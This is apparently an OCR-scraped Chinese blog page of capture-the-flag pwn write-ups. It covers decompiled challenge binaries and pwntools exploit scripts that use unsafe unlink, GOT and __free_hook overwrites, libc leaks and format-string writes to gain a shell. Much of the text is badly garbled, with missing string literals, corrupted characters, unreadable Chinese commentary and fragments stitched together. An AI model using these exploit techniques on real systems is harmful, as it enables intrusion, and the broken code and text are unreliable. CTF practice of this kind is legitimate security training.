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unsigned _ 1nt64 sub_48@939()

{
unsigned __int64 vl1; // [rsp+8h] [rbp-8h]
vl = __readfsqword(©x28u);
puts (" #H#HHHHFFEHHHAHEFFEEHAE") ;
puts("# Action menu #")3
puts("#-----------c--cemo-- #');
puts("# 1.Create Banana. #");
puts("# 2.Modify Banana. #");
puts("# 3.Delete Banana. #");
puts("# 4.View Banana. #");
puts("# 5.Exit system. #");
puts (" #H#HHHHFFEHHHAHEFFEEHAE") ;
return __readfsqword(ex28u) ~ vi1;

}

bnanana.

create


https://blog.csdn.net/yongbaoii
https://blog.csdn.net/yongbaoii/category_10478263.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/yongbaoii/article/details/114169764
https://blog.csdn.net/yongbaoii/category_10478263.html
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=yongbaoii&utm_content=114169764

Nna

X R AR — NG5
{2 EE R B2 B B B chunk 5 225K, WL g 2 fastbinok /) i chunk .

modify

void _ noreturn modify()

{

puts("Emmmmmm!Maybe you want Fool me!");
sub_4009C1();

}
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delete
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liunsigned __int64 delete()
2i{
3| int v1; // [rsp+4h] [rbp-Ch] BYREF
4/ unsigned __inté64 v2; // [rsp+8h] [rbp-8h]
5
6/ v2 = _ _readfsqword(@x28u);
7| puts ("#u#HHHHHHGHGHHHEHRHREHET)
8| puts("# Delete Banana #");
9 puts("#--------------------- #")3
18| printf("> Banana ID : ");
11, _isoc99_scanf("%d", &vl1);
12 if (vi< e || vi> 10 || !*(&ptr + v1) )
13| {
14 puts (" Emmmmmm!Maybe you want Fool me!™);
15 sub_4009C1();
16| }
17| free(*(void **)*(&ptr + v1));
18 free(*((void **)*(&ptr + v1) + 1));
19| free(*(&ptr + v1));
28| puUts( #---------—---—--------- H
21| puts("# ALL Down! #");
22| puts ("#HHHHHHHH T )
23| return __readfsqword(@x28u) ~ vZ;
24(}
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unsigned __ int64 view()

{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(ex28u);
puts ( "###HHHHHEHFHEEHHFHEREEE")
puts("# Delete Banana #"):

L

2

3

1

5

3

7

3

]

3l printf("> Banana ID : ");

L| printf("> SCP project ID : ");

2l _iso0c99_scanf("%d", &v1);

30 ifF (vl <@ || vi > 10 || !'*(&ptr + v1) )
oo

5 puts (" Emmmmmm!Maybe you want Fool me!™);

) sub_4009C1();

T}

3| printf("# Banana's ba is %s\n", *(const char **)*(&ptr + v1));

3| printf("# Banana's na is %s\n", *((const char **)*(&ptr + v1) + 1));
)
L
2
3
}

puts("# ALL Down! #"):
puts ( "###HHHHHEHFHEEHHFHEREEE")
return __readfsqword(ex28u) ~ v2;

UNS1gNed __1NTb4 SUD_4uusyol )

{
FILE *stream; // [rsp+8h] [rbp-16h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(ex28u);
setbuf(stdin, OLL);
setbuf(stdout, eLL);

9| stream = fopen("/flag", "r");
18| if ( !stream )

11 |

12 puts (" Emmmmmm!Maybe you want Fool me!™);
13 exit(e);

14 }

15| byte 602040 = 96;
6| fgets(s, 45, stream);
L7| return __readfsqword(@x28u) ~ v2;
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from pwn import

context.log level

r remote( ,25997)
elf = ELF(

def add(sizel,contentl,size2,content2):
r.recvuntil(

r.sendline(

r.recvuntil(

r.sendline( (sizel))
.recvuntil( )
.sendline(contentl)
.recvuntil(
.sendline( (size2))
.recvuntil( )

.sendline(content2)

def show(index):
.recvuntil(
.sendline(
.recvuntil(

.sendline( (index))

def free(index):
.recvuntil(
.sendline(
.recvuntil(

.sendline( (index))

E)

E)

,0x50,
,0x60, " ')

()
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11

Ubuntu 14.04

Use ssh to connect. Username: ctf

Bk Wsshe.
ssh -p 29845 ctf@node3.buuoj.cn
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stdio.h
time.h
malloc.h
unistd.h
fcntl.h
stdlib.h
sys/select.h

sys/time.h

termio.h




wide

up 1
down 2
left 3
right 4

void StringReplace(char *buf, char src, char dest){
char *p buf;
while(*p){
if(p[@]==src){
p[@]=dest;

int score 0;
int Level 1;
int direction 1;
int IsEat=0;
int FoodH=5, FoodW=10;
char Name[©x100];
char flag[0x1000];
unsigned int flag pos 9;

char Picture[high][wide];

typedef struct snake{
unsigned int x;
unsigned int y;
struct snake* next;
}Node, *PSnake;

PSnake Init() {
printf( )
unsigned int len=5;
PSnake head=(PSnake)malloc(sizeof(Node));
if(head NULL)
printf( )
head->x=wide/2;
head->y=high/2+5;
head->next=NULL;

unsigned int 1=0;
for(;i<5;i++) {
PSnake P=(PSnake)malloc(sizeof(Node));
if(P==NULL) {
printf( );
break;

}

P->x=wide/2;




P->y=high/2-1+4;
P->next=head;
head=P;

b

printf(

return head;

PSnake Eat(unsigned int x,unsigned int y,PSnake snake) {
PSnake p=(PSnake)malloc(sizeof(Node));
if(p==NULL) {
printf( )

X X;

y =Y,
p->next=snake;
score iLg
return p;

void Walk(unsigned int x,unsigned int y,PSnake snake) {
PSnake p=snake;
unsigned int a,b, c=x, d=y;
while(p!=NULL) {
a=p->X;
b=p->y;
X

unsigned int Serch(unsigned int x,unsigned int y,PSnake snake) {

PSnake g=snake->next;

while(q NULL) {
if( ( (g->x) X ) ( (g->y) y ) )
return 1;
g=q->next;

}

return 0;

void WriteSnake(PSnake snake) {
PSnake p=snake;
while(p NULL) {
Picture[p->y][p->x]=flag[flag pos%0OxC];
p=p->next;

void Paint(void) {
unsigned int y=high,x=wide,1,3j;
for(i=0; i<y; i++)
for(3=8; Jj<x; j++)
Picture[i][]j] £




void Print(char* p,unsigned int score,unsigned int Lev) {

unsigned int a=high,b=wide,i=0,j;
printf( )
system( );
system( );
printf( )
printf( ,cnt);
cnt++;
printf( ,p,score*100,Lev);
while(i<b*2+2) {

printf(

i++;
s
printf( );
for (i=0; i<a; i++) {

printf(

for(j=6; j<b; j++) {

if(Picture[i][]]
printf( ,Picture[i][j]);
}else{
printf( ,Picture[i][j]);

}
printf(
printf( )

}

for(i=0;i<=b*2+1;i++) {
printf(

}

printf( )

if (score 12){
printf(

}else if (score 23){
printf(

}else if (score 30){
printf(

}else{
printf(

printf(

unsigned int MakeFood(void) {

static unsigned int MC=0;

while(1) {
if(MC ((high * wide)/2 ) )
return 0;
srand((int)time(0));
FoodH=rand()%high;
FoodW=rand()%wide;
if(Picture[FoodH][FoodW]

break;

MC++;

return 1;




PSnake MakeMove(PSnake s) {
unsigned int x,y;
PSnake p=s;

X=S->X,y=S->Y;

if(direction
y=y-1;
if(direction
y =y +1;
if(direction
X X 1;
if(direction
X X 1;

if( (y>(high-1)) ((y<0)) ((x)<0) (x>(wide-1)) ) {
printf( 3X,Y,S->X,5->Y);
printf( )
return NULL;

if(Serch(x,y,s)) {

printf(

while(p NULL) {
printf(
p=p->next;

}

printf(

return NULL;

if( (x==FoodW) (y==FoodH) ) {
s=Eat(x,y,s);
IsEat=1;

else {
Walk(x,y,s);
}

return s;

unsigned int kbhit(void) {
struct timeval tv;
fd_set rdfs;
tv.tv_sec 0;
tv.tv_usec 0;
FD_ZERO(&rdfs);
FD_SET(STDIN_FILENO,&rdfs);
select(STDIN_FILENO+1,&rdfs,NULL,NULL,&tv);
return FD_ISSET(STDIN_FILENO,&rdfs);

void InputCTL(unsigned int level) {
unsigned int Dir=direction;
unsigned int timeUse;
struct timeval start,end;
gettimeofday(&start,NULL);

char c,n;




gettimeofday(&end,NULL);
timeUse 1000000* (end.tv_sec start.tv_sec) end.tv_usec start.tv_usec;
if(timeUse 1000000 level*100000)
break;
if(kbhit())
c=getchar();

c ) {
Dir=1;

else if( c
DAl P=2F

s

else if( ¢
DAL P=5}F

s

else if( ¢
Dir=4;

)i

else;

if(!(((Dir 1) (direction down) ) ((Dir 2) (direction up))
((Dir 3) (direction right)) ((Dir 4) (direction left)))){
direction Dir;

unsigned int CheckLevel(unsigned int score) {
static unsigned int change=0;
if(((score change) 3) (Level 9) ) {
Level
change BE
}

return Level;

void printRule(void){
printf( )&
printf(
printf(
printf(
printf(
printf(
printf(
printf(
printf(
printf(
printf(
printf(
printf(
printf(
printf(
printf(

void GiveAwards(){




system(

void getName(){
char buf[0x100];
printf(
scanf( ,buf);
strncpy(Name, buf, 0x100);

void GameRun(void) {
unsigned int GameState=1;
score=0;
Level=1;
printRule();
getName();

PSnake jack=Init();
PSnake p=jack;

while(GameState) {
Paint();
WriteSnake(jack);

if(Iskat) {
if(MakeFood()){
IsEat=0;
flag pos

Picture[FoodH][FoodW]=flag[ (flag pos+1)

Print(Name, score,CheckLevel(score));
InputCTL(Level);
jack = MakeMove(jack);

if( jack NULL ) {
GameState=0;
printf( )
system(
system(
printf(
printf(

score 30 cnt PEEEDEE
GameState=0;

printf( )

system(

system(

printf(

GiveAwards();




setvbuf(stdout,0,2,0);

unsigned int fd open( ,O_RDONLY) ;
read(fd,flag,1000);

StringReplace(flag, )5
GameRun();

return 0;

IR AR TT

void getName(){
char buf[0x100];
printf(
scanf( ,buf);
strncpy(Name, buf, 0x100);
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char Name[0x100];

char flag[0x1000];
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add

v4 = __readfsqword(@x28u);
if ( num > 99 )
{

puts("the box is full");

¥

else
{
printf("Please enter the length of item name:");
read(e, buf, 8ulLL);
v2 = atoi(buf);
if (v2)

puts("invaild length");
return OLL;

)]
for (1 =8; 1 <=99; ++1 )
if ( !*(_QWORD *)&itemlist[4 * i + 2] )
itemlist[4 * 1] = v2;
*(_QWORD *)&itemlist[4 * i + 2] = malloc(v2);
printf("Please enter the name of item:");
*(_BYTE *)(*(_QWORD *)&itemlist[4 * 1 + 2] + (int)read(®, *(void **)&itemlist[4 * i + 2], v2)) = @;
F+num, =
return @LL;
}
b
1

return BLL;

X Hread (iR [FIME R LA KA, IAKAHTT 24 >off by null.

show

int show_item()

{
int i; // [rsp+Ch] [rbp-4h]

if ( !num )

return puts("No item in the box");
for (1 =0; 1 <= 99; ++1 )
{

if ( *(_QMORD *)&itemlist[4 * 1+ 2] )

printf("%d : %s", (unsigned int)i, *(const char **)&Iitemlist[4 * i + 2]);

}
return puts(byte_401089);

TP EA R



int v1; // [rsp+4h] [rbp-2Ch]
int v2; // [rsp+8h] [rbp-28h]
char buf[16]; // [rsp+l1eh] [rbp-28h] BYREF
char nptr[8]; // [rsp+28h] [rbp-16h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

printf("Please enter the index of item:");
read(®, buf, 8uLlL);

vl = atoi(buf);

if ( *(_QWORD *)&itemlist[4 * vi + 2] )

printf("Please enter the length of item name:");

read(@, nptr, 8ulLL);

v2 = atoi(nptr);

printf("Please enter the new name of the item:");

*(_BYTE *)(*(_QWORD *)&Iitemlist[4 * vl + 2] + (int)read(®, *(void **)&itemlist[4 * vl + 2], v2)) = @;
}

else

{

}
}

else

{

puts("No item in the box");

¥

return __readfsqword(@x28u) ~ v5;

puts("invaild index");
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unsigned __int64 remove_item()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+l@h] [rbp-16h] BYREF
unsigned __inte4 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(@x28u);
if ( num )
{
printf("Please enter the index of item:");
read(e, buf, 8uLL);
vl = atoi(buf);
if ( *(_QWORD *)&itemlist[4 * v1 + 2] )
{
free(*(void **)&itemlist[4 * v1 + 2]);
*(_QWORD *)&itemlist[4 * vl + 2] = OLL;
itemlist[4 * v1] = @;
puts(“"remove successfull!!");
--num;

}

else

{

}
¥

else

{

puts("No item in the box™);

}

return __readfsqword(ex28u) ~ v3;

puts(“invaild index");
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exp

from pwn import

context.log level
r remote( ,27960)

elf = ELF(

def add(size, name):

r.sendlineafter(
r.sendlineafter(
r.sendafter( , hame)




def show():
r.sendlineafter(

def change(index, size, name):
.sendlineafter(
.sendlineafter( (index))
.sendlineafter( 5 (size))
.sendafter( , hame)

def remove(index):
r.sendlineafter(
r.sendlineafter(

free_got elf.got|[
ptr 0x6020c8

p64(0) + p64(0Ox21) + p64(ptr - Ox18) + p64(ptr - 0x10) + p64(0x20) + p64(Ox90)

change(0, 0x30, payload)
remove (1)

payload p64(9) 2 p64(0x8) p64(free_got) p64(ptr
change(0, 0x30, payload)

free_addr ub4(r.recv(6).ljust(8,
free_addr libc.sym[
libc_base libc.sym[

(libc_base))

change(©, 0x7, p64(system_addr))

remove (1)

r.interactive()
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puts("1l. add note");

puts("2. dele note");

puts("3. show note's content");
puts("4. edit note");
puts("Enter a option: ");
return printf(">> ");

FoiRELE, ThRegra, i A,
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int get_int()
{
char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
unsigned __inté4 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(@x28u);
read(®, buf, @xAuLL);
return atoi(buf);

unsigned __int64 banner()

{
char format[12]; // [rsp+Ch] [rbp-14h] BYREF
unsigned __inté64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(@x28u);

puts("Welcome to note management system!™);
printf("Enter your name: ");
__is0c99_scanf("%s", format);

printf(“Hello, ");

printf(format);

puts("\n-----------mmm e ");
return __readfsqword(@x28u) ~ v2;

A AT

add



size t size; // [rsp+@h] [rbp-28h] BYREF
unsigned __inté64 v4; // [rsp+8h] [rbp-18h]

v4 = _ readfsqword(©x28u);

printf("Enter the index you want to create (©-18):");
__1s0c99_scanf("%d", (char *)&size + 4);

if ( (size & ©x800PPEEEEOEOLEEALL) == OLL && SHIDWORD(size) <= 18 )

{
if ( counts > @xAu )
{
puts("full!™);
exit(e);
}

puts("Enter a size:");
__1s0c99_scanf("%d", &size);
if ( key == 43 )
{
puts("Enter the content: ");
v@ = HIDWORD(size);
*((_QWORD *)&note + 2 * vB) = malloc((unsigned int)size);
*((_DWORD *)&note + 4 * SHIDWORD(size) + 2) = size;
if ( 1*((_QWORD *)&note + 2 * SHIDWORD(size)) )
{
fwrite("error”, 1uLL, 5ulLL, stderr);
exit(0);

-
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#tdefine HIDWORD (x

#tdefine SHIDWORD(x
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ptr
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dele

unsigned __int64 delete_note()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(@x28u);
puts("Enter an index:");
__is0c99_scanf("%d", &v1);
if (vl <= 10 && vl >= @ & *((_QWORD *)&note + 2 * v1) )
{
free(*((void **)&note + 2 * v1));
*((_QWORD *)&note + 2 * v1) = OLL;
*((_DWORD *)&note + 4 * vl + 2) = @;

--counts;
puts("Done!");
¥
else
{
puts("You can't hack me!");
¥
return __readfsqword(®x28u) ~ v2;
¥
THEEFF T
show
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unsigned __int64 edit_note()

{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(©x28u);

puts("Enter an index:");

__isoc99_scanf("%d", &v1);

if (vl <= 10 && v1 >= © && *((_QWORD *)&note + 2 * v1) )

{
puts("Enter the content: ");
get_input(*((_QWORD *)&note + 2 * v1), *((unsigned int *)&note + 4 * vl + 2));
puts("Done!");

by

else

{

puts(“"You can't hack me!™);

}

return _ readfsgword(@x28u) ~ v2;



size_t result; // rax
signed int v3; // [rsp+l16h] [rbp-16h]
_BYTE *v4; // [rsp+18h] [rbp-8h]

v3 = 9;
while ( 1)
{

v4 = (_BYTE *)(v3 + al);
result = fread(v4, 1uLL, 1ulLL, stdin);
if ( (int)result <= 0 )

break;
if ( *v4 == '\n' )
{
if (v3 )
{
result = v3 + al;
*v4 = 9;
return result;
¥
¥
else
{

result = (unsigned int)++v3;
if ( a2 + 1 <= (unsigned int)wv3 )
return result,
¥
¥

return result:
get inputiX /> i %A off by one.
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exp

from pwn import

context.log_level

remote( , 28776)

elf = ELF(
libc = ELF(

def add(index, size, content):
.sendlineafter( 5 )
.sendlineafter(
.sendlineafter( (size))
.sendlineafter( , content)

def delete(index):
r.sendlineafter(
r.sendlineafter( (index))

def edit(index, content):
r.sendlineafter(
r.sendlineafter( (index))
r.sendlineafter( , content)

bss_addr = 0x202040




libc_start_main (r.recvuntil( )[:-2],16) 240

libc_base libc_start_main libc.symbols|

main_addr (r.recvuntil( )[:-1],16)

base main_addr - elf.sym[ ]

(base)
(libc_base)

ptr=base+0x202060

system_addr=1ibc_base+libc.symbols|

free_hook=1ibc_base+libc.symbols[

k)

k)

payload=p64(0)+p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10)
payload Ox70+p64(0x90)

p64(0)*3+p64(free_hook)+p64(0x38)
p64(ptr+0x18)

edit(@,payload)

payload = p64(system_addr)

edit(@,payload)

delete(1)

r.interactive()
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v5 = __readfsqword(@x28u);
setbuf(stdout, OLL);
setbuf(stdin, @LL);
setbuf(stderr, OLL);
puts(
"Hello,I am a computer Repeater updated.\n"
"After a lot of machine learning,I know that the essence of man is a reread machine!");
puts("So I'1l answer whatever you say!");
while ( 1)
{
alarm(3u);
memset(s, @, @xleluLLl);
memset(format, @, @x12CulLl);
printf("Please tell me:");
read(®, s, exleeuLl);
sprintf(format, "Repeater:%s\n", s);
if ( (unsigned int)strlen(format) > @x1eE )
break;
printf(format);
}
printf("what you input is really long!");
exit(e);

AR A1 TR o

A2 — T .

{2 /&
8.

A4 FRAT R S B e R M FE printfft bk, MR H oRliberg bl FRXAIA, Kprintfit bl osione_gadget, M A A ALY .
AR n] LUk system fg sl , 3 B FH 12 2 ki systemif itk

X B IRATH 2T pwntools BT Y T H .
fmtstr_payload&pwntools B it — AN T, FH R Ahoxd 5 Ak 455 B Il i A s T4

fmtstr_payload(offset, writes, numbwritten=0, write size='byte')
H B s it AL 777 H ) A%
FIF %NS A&, RATFIOEA, BOTZRprintfHGOTEE X sy stemk £, 5 i{printfGOT: systemAddre

SR, KB, ~e, RABMMERIH;
75 (byte) . #MFET (short) B PIFH (int) , XHM#Fhhn, hnflin, ZRAEEbyte, ElfihhnE.




from pwn import
r remote( , 25930)

context.log level
elf ELF( )
libc = ELF(

elf.got|
elf.got| ]
p64(sprintf_got)

r.recvuntil(

r.sendline(payload)

)
ub4(r.recvuntil( ).1just(8,

print (printf_addr)
libc_base printf_addr libc.sym[

system_addr libc_base libc.sym[
print (system_addr)

print (libc_base)

((system_addr>>16) OxFF) (
(system_addr & OXFFFF) ((system_addr

(numl)
(num2)

payload.ljust(32, p64(printf_got+2)

.recvuntil(
.sendline(payload)
.recv()

.sendline(

.interactive()

p64(printf_got)
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